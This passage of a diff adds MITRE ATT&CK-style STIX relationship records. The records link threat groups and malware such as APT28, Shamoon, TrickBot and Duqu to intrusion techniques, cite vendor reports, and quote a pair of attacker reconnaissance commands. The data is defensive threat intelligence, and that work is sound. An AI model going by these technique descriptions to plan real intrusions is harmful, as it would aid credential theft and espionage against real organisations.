"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Patchwork Dec 2017", + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about shares on remote hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cffbdd23-bf18-4bb9-bd50-dc74b69784e2", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.607Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used legitimate credentials to gain initial access, maintain access, and exfiltrate data from a victim network. The group has specifically used credentials stolen through a spearphishing email to login to the DCCC network. The group has also leveraged default manufacturer's passwords to gain initial access to corporate networks via IoT devices such as a VOIP phone, printer, and video decoder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7606ad11-1322-4b97-83b9-aaafaee02c07", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Trend Micro Pawn Storm April 2017", + "description": "Hacquebord, F.. (2017, April 25). Two Years of Pawn Storm: Examining an Increasingly Relevant Threat. Retrieved May 3, 2017.", + "url": "https://documents.trendmicro.com/assets/wp/wp-two-years-of-pawn-storm.pdf" + }, + { + "source_name": "DOJ GRU Indictment Jul 2018", + "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + }, + { + "description": "MSRC Team. (2019, August 5). Corporate IoT \u2013 a path to intrusion. Retrieved August 16, 2019.", + "source_name": "Microsoft STRONTIUM Aug 2019", + "url": "https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--10af8211-36f6-4152-8221-c152407bd969", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.914Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1c8634d8-21a1-46a5-a1fd-eaaff6eed7a6", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-09T17:44:36.174Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3c452693-7971-42f3-8bdc-68e2c7d785ae", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.342Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected file listings of all default Windows directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79826a7e-d9dd-4c4f-bc1f-e5f2d4c6465b", + "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12", + "modified": "2019-07-16T15:35:20.860Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lookout Dark Caracal Jan 2018", + "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.", + "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--3127bcf3-3638-4c1b-9a95-156f6c78658a", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.892Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 OopsIE! Feb 2018", + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "description": "[Gazer](https://attack.mitre.org/software/S0168) can establish persistence through the system screensaver by configuring it to execute the malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--b4f8c479-aab5-481d-aa04-922677da108a", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers passwords from multiple sources, including Windows Credential Vault, Internet Explorer, Firefox, Chrome, and Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.074Z", + "id": "relationship--4d3e4232-1330-45a9-9e90-9914eed276a5", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "source_name": "Citizen Lab Stealth Falcon May 2016", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) downloads several additional files and saves them to the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d8e0ed13-7938-4c9c-99ef-511b8dbf76aa", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.430Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.", + "source_name": "Trend Micro Totbrick Oct 2016", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) scans the C-class subnet of the IPs on the victim's interfaces.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e1f4c08f-b5b1-4d62-8f1c-75f4302b0bce", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.274Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "source_name": "FireEye Shamoon Nov 2016", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", + "description": "[Volgmer](https://attack.mitre.org/software/S0180) installs a copy of itself in a randomly selected service, then overwrites the ServiceDLL entry in the service's Registry entry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--96a09c57-4848-464e-8649-142152c91db9", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.956Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following commands after exploiting a machine with [LOWBALL](https://attack.mitre.org/software/S0042) malware to obtain information about the OS: ver >> %temp%\\download systeminfo >> %temp%\\download", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.052Z", + "id": "relationship--eb85fa2e-3c50-4130-9717-8688237fecbc", + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "modified": "2019-09-04T19:48:17.579Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[OSInfo](https://attack.mitre.org/software/S0165) enumerates local and domain users", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ab109b93-76a9-46da-8934-58751125fd1e", + "source_ref": "malware--f6d1d2cb-12f5-4221-9636-44606ea1f3f8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "source_name": "Symantec Buckeye", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Duqu](https://attack.mitre.org/software/S0038) creates a new service that loads a malicious driver when the system starts. When Duqu is active, the operating system believes that the driver is legitimate, as it has been signed with a valid private key.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--46660a8a-7724-4577-b09e-551a1ce61bfc", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.203Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--5a63f900-5e7e-4928-a746-dd4558e1df71", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--9f62c4e4-02d4-497b-8039-cc4e816386a5", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.663Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Pisloader](https://attack.mitre.org/software/S0124) has a command to upload a file to the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ce4707f0-d5b8-4dd6-b5ab-cf1483dd236f", + "source_ref": "malware--b96680d1-5eb3-4f07-b95c-00ab904ac236", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.", + "source_name": "Palo Alto DNS Requests", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses AES and a preshared key to decrypt the custom Base64 routine used to encode strings and scripts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--198cddce-40f7-43eb-aeac-60171f111065", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) uses a command prompt to run a PowerShell script from Excel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--89c060ad-cec7-4ffb-85aa-8670c8dabeda", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.340Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the system time and will only activate if it is greater than a preset date.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0024d82d-97ea-4dc5-81a1-8738862e1f3b", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "modified": "2019-04-24T23:59:16.298Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", + "source_name": "Palo Alto Shamoon Nov 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--032fb34d-3434-4667-9d5e-6bb9fd6b7d00", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.965Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4563af55-57dc-44fc-b57b-76e2f10f3b9a", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) has dumped credentials from victims. Specifically, the group has used the tool GET5 Penetrator to look for remote login and hard-coded credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--6b429676-7b77-4453-a6ce-2d6a6cb0dfe7", + "source_ref": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "modified": "2019-04-24T19:41:25.793Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0a975ec6-5754-4a42-aa0f-f468d67a2c91", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "modified": "2019-04-25T12:37:45.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a module to steal credentials from Web browsers on the victim machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ed74954d-4717-4d63-9836-4cbd66c37345", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) downloads additional files from C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9b102737-2d47-4dd5-b4f2-2a323c506cfb", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Moench, B. and Aboud, E. (2016, August 23). Trojan.Kwampirs. Retrieved May 10, 2018.", + "source_name": "Symantec Security Center Trojan.Kwampirs", + "url": "https://www.symantec.com/security-center/writeup/2016-081923-2700-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) has a feature to list the available services on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--948f8c8b-18e1-4652-86af-bad1dc0ec090", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.051Z", + "id": "relationship--da3a85c7-7590-48b1-8a22-2f8b00060f83", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.491Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[DDKONG](https://attack.mitre.org/software/S0255) lists files on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--992c7f74-c6d8-43e9-98e7-5818ca9524e3", + "source_ref": "malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + 